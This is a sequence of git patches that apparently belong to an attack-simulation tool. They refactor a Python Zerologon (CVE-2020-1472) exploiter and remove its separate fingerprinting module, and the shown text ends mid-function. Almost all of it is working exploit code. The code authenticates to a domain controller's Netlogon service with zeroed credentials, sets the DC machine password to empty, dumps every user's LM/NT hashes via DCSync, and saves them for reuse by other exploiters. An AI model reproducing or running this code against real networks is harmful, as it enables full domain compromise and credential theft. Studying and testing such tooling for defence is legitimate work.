List[str]) -> Dict: - extracted_creds = {} - # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" re_phrase =\ r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' @@ -230,21 +233,18 @@ class ZerologonExploiter(HostExploiter): user = parts_of_secret[0].split('\\')[-1] # we don't want the domain user_RID, lmhash, nthash = parts_of_secret[1:4] - extracted_creds[user] = {'RID': int(user_RID), # relative identifier - 'lm_hash': lmhash, - 'nt_hash': nthash} + self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier + 'lm_hash': lmhash, + 'nt_hash': nthash} - self.store_extracted_creds_for_exploitation(extracted_creds) - return extracted_creds - - def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None: - for user in extracted_creds.keys(): + def store_extracted_creds_for_exploitation(self) -> None: + for user in self._extracted_creds.keys(): self.add_extracted_creds_to_exploit_info(user, - extracted_creds[user]['lm_hash'], - extracted_creds[user]['nt_hash']) + self._extracted_creds[user]['lm_hash'], + self._extracted_creds[user]['nt_hash']) self.add_extracted_creds_to_monkey_config(user, - extracted_creds[user]['lm_hash'], - extracted_creds[user]['nt_hash']) + self._extracted_creds[user]['lm_hash'], + self._extracted_creds[user]['nt_hash']) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({ From c227ccd3a1c41f21f550687da14dc0f37036a767 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 19 Feb 2021 22:14:15 +0530 Subject: [PATCH 306/466] Remove Zerologon fingerprinter (and move required functionality to Zerologon exploiter) --- monkey/infection_monkey/exploit/zerologon.py | 115 +++++++++++++---- .../network/zerologon_fingerprint.py | 120 ------------------ .../definitions/finger_classes.py | 10 -- .../cc/services/config_schema/internal.py | 3 +- 4 files changed, 89 insertions(+), 159 deletions(-) delete mode 100644 monkey/infection_monkey/network/zerologon_fingerprint.py diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 6d4005c58..2b6c5994d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -10,7 +10,8 @@ from binascii import unhexlify from typing import Dict, List, Optional import impacket -from impacket.dcerpc.v5 import nrpc +import nmb.NetBIOS +from impacket.dcerpc.v5 import epm, nrpc, transport from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType @@ -19,9 +20,9 @@ from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import \ OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec -from infection_monkey.network.zerologon_fingerprint import ZerologonFinger from infection_monkey.utils.capture_output import StdoutCapture + LOG = logging.getLogger(__name__) @@ -36,23 +37,16 @@ class ZerologonExploiter(HostExploiter): def __init__(self, host: object): super().__init__(host) self.vulnerable_port = None - self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} self._extracted_creds = {} def _exploit_host(self) -> bool: - self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) + self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(self.host) - if self.is_exploitable(): + is_exploitable, rpc_con = self.is_exploitable() + if is_exploitable: LOG.info("Target vulnerable, changing account password to empty string.") - # Connect to the DC's Netlogon service. - try: - rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) - except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return False - # Start exploiting attempts. LOG.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) @@ -60,8 +54,7 @@ class ZerologonExploiter(HostExploiter): rpc_con.disconnect() else: - LOG.info("Exploit not attempted. " - "Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.") + LOG.info("Exploit not attempted. Target is most likely patched, or an error was encountered.") return False # Restore DC's original password. @@ -76,14 +69,80 @@ class ZerologonExploiter(HostExploiter): return _exploited - def is_exploitable(self) -> bool: - if self.zerologon_finger._SCANNED_SERVICE in self.host.services: - return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable'] - else: - is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle, - dc_ip=self.dc_ip, - dc_name=self.dc_name) - return is_vulnerable + @staticmethod + def get_dc_details(host: object) -> (str, str, str): + dc_ip = host.ip_addr + dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip) + dc_handle = '\\\\' + dc_name + return dc_ip, dc_name, dc_handle + + @staticmethod + def get_dc_name(dc_ip: str) -> str: + """ + Gets NetBIOS name of the Domain Controller (DC). + """ + try: + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None + return name[0] if name else '' + except BaseException as ex: + LOG.info(f'Exception: {ex}') + + def is_exploitable(self) -> (bool, object): + # Connect to the DC's Netlogon service. + try: + rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return False, None + + # Try authenticating. + for _ in range(0, self.MAX_ATTEMPTS): + try: + rpc_con_auth_result = self._try_zero_authenticate(rpc_con) + if rpc_con_auth_result is not None: + return True, rpc_con_auth_result + except Exception as ex: + LOG.info(ex) + return False, None + + return False, None + + @staticmethod + def connect_to_dc(dc_ip) -> object: + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con + + def _try_zero_authenticate(self, rpc_con: object) -> object: + plaintext = b'\x00' * 8 + ciphertext = b'\x00' * 8 + flags = 0x212fffff + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, self.dc_handle + '\x00', self.dc_name + '\x00', plaintext) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, self.dc_handle + '\x00', self.dc_name + + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + '\x00', ciphertext, flags + ) + + assert server_auth['ErrorCode'] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f'Unexpected error code: {ex.get_error_code()}.') + + except BaseException as ex: + raise Exception(f'Unexpected error: {ex}.') def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -96,7 +155,7 @@ class ZerologonExploiter(HostExploiter): return False - def try_exploit_attempt(self, rpc_con): + def try_exploit_attempt(self, rpc_con) -> Optional[object]: try: exploit_attempt_result = self.attempt_exploit(rpc_con) return exploit_attempt_result @@ -163,7 +222,7 @@ class ZerologonExploiter(HostExploiter): # Connect to the DC's Netlogon service. try: - rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) + rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") return False @@ -207,7 +266,7 @@ class ZerologonExploiter(HostExploiter): return user, self._extracted_creds[user] except Exception as e: - LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") + LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}") return None @@ -221,7 +280,7 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = dumper.dump().split('\n') return dumped_secrets - def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict: + def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" re_phrase =\ r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' @@ -407,11 +466,13 @@ class ZerologonExploiter(HostExploiter): return rpc_con - def assess_restoration_attempt_result(self, restoration_attempt_result): + def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: LOG.debug("DC machine account password should be restored to its original value.") return True + return False + class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py deleted file mode 100644 index db94e9908..000000000 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ /dev/null @@ -1,120 +0,0 @@ -""" -Implementation from https://github.com/SecuraBV/CVE-2020-1472 -""" - -import logging - -import nmb.NetBIOS -from impacket.dcerpc.v5 import epm, nrpc, transport - -from infection_monkey.network.HostFinger import HostFinger - -LOG = logging.getLogger(__name__) - - -class ZerologonFinger(HostFinger): - # Class related consts - MAX_ATTEMPTS = 2000 - _SCANNED_SERVICE = "NTLM (NT LAN Manager)" - - def get_host_fingerprint(self, host) -> bool: - """ - Checks if the Windows Server is vulnerable to Zerologon. - """ - - dc_ip, dc_name, dc_handle = self._get_dc_details(host) - - if dc_name: # if it is a Windows DC - # Keep authenticating until successful. - # Expected average number of attempts needed: 256. - # Approximate time taken by 2000 attempts: 40 seconds. - - LOG.info('Performing Zerologon authentication attempts...') - auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name) - - self.init_service(host.services, self._SCANNED_SERVICE, '') - - if auth_successful: - LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') - host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True - return True - else: - LOG.info('Failure: Target is either patched or an unexpected error was encountered.') - host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False - return False - - else: - LOG.info('Error encountered; most likely not a Windows Domain Controller.') - return False - - def _get_dc_details(self, host) -> (str, str, str): - dc_ip = host.ip_addr - dc_name = self._get_dc_name(dc_ip) - dc_handle = '\\\\' + dc_name - return dc_ip, dc_name, dc_handle - - def _get_dc_name(self, dc_ip: str) -> str: - """ - Gets NetBIOS name of the Domain Controller (DC). - """ - - try: - nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None - return name[0] if name else '' - except BaseException as ex: - LOG.info(f'Exception: {ex}') - - def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): - try: - rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) - if rpc_con is not None: - rpc_con.disconnect() - return True - except Exception as ex: - LOG.info(ex) - return False - return False - - def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): - # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc(dc_ip) - - # Use an all-zero challenge and credential. - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 - - # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. - flags = 0x212fffff - - # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge( - rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext) - - try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, dc_handle + '\x00', dc_name + - '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - dc_name + '\x00', ciphertext, flags - ) - - # It worked! - assert server_auth['ErrorCode'] == 0 - return rpc_con - - except nrpc.DCERPCSessionError as ex: - if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. - pass - else: - raise Exception(f'Unexpected error code: {ex.get_error_code()}.') - - except BaseException as ex: - raise Exception(f'Unexpected error: {ex}.') - - def connect_to_dc(self, dc_ip: str) -> object: - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) - return rpc_con diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index f7de38cc7..8edff3fcc 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -71,16 +71,6 @@ FINGER_CLASSES = { "safe": True, "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] - }, - { - "type": "string", - "enum": [ - "ZerologonFinger" - ], - "title": "ZerologonFinger", - "safe": True, - "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", - "attack_techniques": ["T1210"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index edd568db0..bdbae2461 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -222,8 +222,7 @@ INTERNAL = { "HTTPFinger", "MySQLFinger", "MSSQLFinger", - "ElasticFinger", - "ZerologonFinger" + "ElasticFinger" ] } } From 2ef892e33f88bcfa58736952c8acc9a330880be2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 20 Feb 2021 01:04:35 +0530 Subject: [PATCH 307/466] Try starting remote shell on victim with all user creds until successful --- monkey/infection_monkey/exploit/zerologon.py | 42 ++++++++++++-------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2b6c5994d..75faa93c5 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,7 +7,7 @@ import logging import os import re from binascii import unhexlify -from typing import Dict, List, Optional +from typing import Dict, List, Optional, Tuple import impacket import nmb.NetBIOS @@ -206,17 +206,25 @@ class ZerologonExploiter(HostExploiter): try: rpc_con = None - # DCSync to get some username and its password's hashes. - LOG.debug("DCSync; getting some username and its password's hashes.") - user_details = self.get_user_details() - if not user_details: - raise Exception("Couldn't extract username and/or its password's hashes.") + # DCSync to get usernames and their passwords' hashes. + LOG.debug("DCSync; getting usernames and their passwords' hashes.") + user_creds = self.get_all_user_creds() + if not user_creds: + raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - username = user_details[0] - user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] - original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + original_pwd_nthash = None + for user_details in user_creds: + username = user_details[0] + user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + try: + original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + if original_pwd_nthash: + break + except Exception as e: + LOG.info(f"Credentials \"{user_details}\" didn't work. Exception: {str(e)}") + if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -243,7 +251,7 @@ class ZerologonExploiter(HostExploiter): if rpc_con: rpc_con.disconnect() - def get_user_details(self) -> (str, Dict): + def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -257,13 +265,15 @@ class ZerologonExploiter(HostExploiter): self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + creds_to_use_for_getting_original_pwd_hashes = [] admin = 'Administrator' - if admin in self._extracted_creds: - return admin, self._extracted_creds[admin] - else: - for user in self._extracted_creds.keys(): - if self._extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts - return user, self._extracted_creds[user] + for user in self._extracted_creds.keys(): + if user == admin: # most likely to work so try this first + creds_to_use_for_getting_original_pwd_hashes.insert(0, (user, self._extracted_creds[user])) + else: + creds_to_use_for_getting_original_pwd_hashes.append((user, self._extracted_creds[user])) + + return creds_to_use_for_getting_original_pwd_hashes except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}") From 6883e4a5f1863cdce35342460b25abfbade66e49 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 20 Feb 2021 01:10:38 +0530 Subject: [PATCH 308/466] Format all zerologon files with black --- monkey/infection_monkey/exploit/zerologon.py | 340 +++++++++++------- .../exploit/zerologon_utils/dump_secrets.py | 111 ++++-- .../exploit/zerologon_utils/options.py | 13 +- .../exploit/zerologon_utils/remote_shell.py | 76 ++-- .../exploit/zerologon_utils/wmiexec.py | 45 ++- 5 files changed, 363 insertions(+), 222 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 75faa93c5..8c99118de 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -17,8 +17,7 @@ from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets -from infection_monkey.exploit.zerologon_utils.options import \ - OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture @@ -27,21 +26,23 @@ LOG = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] - _EXPLOITED_SERVICE = 'Netlogon' + _TARGET_OS_TYPE = ["windows"] + _EXPLOITED_SERVICE = "Netlogon" EXPLOIT_TYPE = ExploitType.VULNERABILITY RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 - ERROR_CODE_ACCESS_DENIED = 0xc0000022 + ERROR_CODE_ACCESS_DENIED = 0xC0000022 def __init__(self, host: object): super().__init__(host) self.vulnerable_port = None - self.exploit_info['credentials'] = {} + self.exploit_info["credentials"] = {} self._extracted_creds = {} def _exploit_host(self) -> bool: - self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(self.host) + self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details( + self.host + ) is_exploitable, rpc_con = self.is_exploitable() if is_exploitable: @@ -54,7 +55,9 @@ class ZerologonExploiter(HostExploiter): rpc_con.disconnect() else: - LOG.info("Exploit not attempted. Target is most likely patched, or an error was encountered.") + LOG.info( + "Exploit not attempted. Target is most likely patched, or an error was encountered." + ) return False # Restore DC's original password. @@ -73,7 +76,7 @@ class ZerologonExploiter(HostExploiter): def get_dc_details(host: object) -> (str, str, str): dc_ip = host.ip_addr dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip) - dc_handle = '\\\\' + dc_name + dc_handle = "\\\\" + dc_name return dc_ip, dc_name, dc_handle @staticmethod @@ -83,10 +86,12 @@ class ZerologonExploiter(HostExploiter): """ try: nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None - return name[0] if name else '' + name = nb.queryIPForName( + ip=dc_ip + ) # returns either a list of NetBIOS names or None + return name[0] if name else "" except BaseException as ex: - LOG.info(f'Exception: {ex}') + LOG.info(f"Exception: {ex}") def is_exploitable(self) -> (bool, object): # Connect to the DC's Netlogon service. @@ -110,39 +115,46 @@ class ZerologonExploiter(HostExploiter): @staticmethod def connect_to_dc(dc_ip) -> object: - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def _try_zero_authenticate(self, rpc_con: object) -> object: - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 - flags = 0x212fffff + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, self.dc_handle + '\x00', self.dc_name + '\x00', plaintext) + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + ) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + - '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, ) - assert server_auth['ErrorCode'] == 0 + assert server_auth["ErrorCode"] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: - if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + if ( + ex.get_error_code() == 0xC0000022 + ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. pass else: - raise Exception(f'Unexpected error code: {ex.get_error_code()}.') + raise Exception(f"Unexpected error code: {ex.get_error_code()}.") except BaseException as ex: - raise Exception(f'Unexpected error: {ex}.') + raise Exception(f"Unexpected error: {ex}.") def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -170,32 +182,36 @@ class ZerologonExploiter(HostExploiter): def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = self.dc_handle + '\x00' - request['ClearNewPassword'] = b'\x00' * 516 + request["PrimaryName"] = self.dc_handle + "\x00" + request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request) @staticmethod def _set_up_request(request: object, dc_name: str) -> None: authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = b'\x00' * 8 - authenticator['Timestamp'] = b'\x00' * 4 + authenticator["Credential"] = b"\x00" * 8 + authenticator["Timestamp"] = b"\x00" * 4 - request['AccountName'] = dc_name + '$\x00' - request['ComputerName'] = dc_name + '\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['Authenticator'] = authenticator + request["AccountName"] = dc_name + "$\x00" + request["ComputerName"] = dc_name + "\x00" + request[ + "SecureChannelType" + ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request["Authenticator"] = authenticator def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: if exploit_attempt_result: - if exploit_attempt_result['ErrorCode'] == 0: + if exploit_attempt_result["ErrorCode"] == 0: self.report_login_attempt(result=True, user=self.dc_name) _exploited = True LOG.info("Exploit complete!") else: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False - LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") + LOG.info( + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong." + ) return _exploited return False @@ -210,20 +226,29 @@ class ZerologonExploiter(HostExploiter): LOG.debug("DCSync; getting usernames and their passwords' hashes.") user_creds = self.get_all_user_creds() if not user_creds: - raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") + raise Exception( + "Couldn't extract any usernames and/or their passwords' hashes." + ) # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") original_pwd_nthash = None for user_details in user_creds: username = user_details[0] - user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + user_pwd_hashes = [ + user_details[1]["lm_hash"], + user_details[1]["nt_hash"], + ] try: - original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + original_pwd_nthash = self.get_original_pwd_nthash( + username, ":".join(user_pwd_hashes) + ) if original_pwd_nthash: break except Exception as e: - LOG.info(f"Credentials \"{user_details}\" didn't work. Exception: {str(e)}") + LOG.info( + f'Credentials "{user_details}" didn\'t work. Exception: {str(e)}' + ) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -237,7 +262,9 @@ class ZerologonExploiter(HostExploiter): # Start restoration attempts. LOG.debug("Attempting password restoration.") - _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) + _restored = self._send_restoration_rpc_login_requests( + rpc_con, original_pwd_nthash + ) if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") @@ -256,77 +283,96 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" target_ip=self.dc_ip, - dc_ip=self.dc_ip + dc_ip=self.dc_ip, ) - dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, - username=f"{self.dc_name}$", - options=options) + dumped_secrets = self.get_dumped_secrets( + remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options + ) self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) creds_to_use_for_getting_original_pwd_hashes = [] - admin = 'Administrator' + admin = "Administrator" for user in self._extracted_creds.keys(): if user == admin: # most likely to work so try this first - creds_to_use_for_getting_original_pwd_hashes.insert(0, (user, self._extracted_creds[user])) + creds_to_use_for_getting_original_pwd_hashes.insert( + 0, (user, self._extracted_creds[user]) + ) else: - creds_to_use_for_getting_original_pwd_hashes.append((user, self._extracted_creds[user])) + creds_to_use_for_getting_original_pwd_hashes.append( + (user, self._extracted_creds[user]) + ) return creds_to_use_for_getting_original_pwd_hashes except Exception as e: - LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}") + LOG.info( + f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}" + ) return None - def get_dumped_secrets(self, - remote_name: str = '', - username: str = '', - options: Optional[object] = None) -> List[str]: - dumper = DumpSecrets(remote_name=remote_name, - username=username, - options=options) - dumped_secrets = dumper.dump().split('\n') + def get_dumped_secrets( + self, + remote_name: str = "", + username: str = "", + options: Optional[object] = None, + ) -> List[str]: + dumper = DumpSecrets( + remote_name=remote_name, username=username, options=options + ) + dumped_secrets = dumper.dump().split("\n") return dumped_secrets def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" - re_phrase =\ - r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' + re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])" for line in dumped_secrets: secret = re.fullmatch(pattern=re_phrase, string=line) if secret: - parts_of_secret = secret[0].split(':') - user = parts_of_secret[0].split('\\')[-1] # we don't want the domain + parts_of_secret = secret[0].split(":") + user = parts_of_secret[0].split("\\")[-1] # we don't want the domain user_RID, lmhash, nthash = parts_of_secret[1:4] - self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier - 'lm_hash': lmhash, - 'nt_hash': nthash} + self._extracted_creds[user] = { + "RID": int(user_RID), # relative identifier + "lm_hash": lmhash, + "nt_hash": nthash, + } def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): - self.add_extracted_creds_to_exploit_info(user, - self._extracted_creds[user]['lm_hash'], - self._extracted_creds[user]['nt_hash']) - self.add_extracted_creds_to_monkey_config(user, - self._extracted_creds[user]['lm_hash'], - self._extracted_creds[user]['nt_hash']) + self.add_extracted_creds_to_exploit_info( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) + self.add_extracted_creds_to_monkey_config( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) - def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: - self.exploit_info['credentials'].update({ - user: { - 'username': user, - 'password': '', - 'lm_hash': lmhash, - 'ntlm_hash': nthash + def add_extracted_creds_to_exploit_info( + self, user: str, lmhash: str, nthash: str + ) -> None: + self.exploit_info["credentials"].update( + { + user: { + "username": user, + "password": "", + "lm_hash": lmhash, + "ntlm_hash": nthash, + } } - }) + ) # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: + def add_extracted_creds_to_monkey_config( + self, user: str, lmhash: str, nthash: str + ) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -344,49 +390,56 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( dc_ip=self.dc_ip, just_dc=False, - system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), - sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), - security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), + sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), + security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), ) - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) + dumped_secrets = self.get_dumped_secrets( + remote_name="LOCAL", options=options + ) for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[2] + if ( + "$MACHINE.ACC: " in secret + ): # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(":")[2] return nthash except Exception as e: - LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}") + LOG.info( + f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}" + ) finally: self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool: - 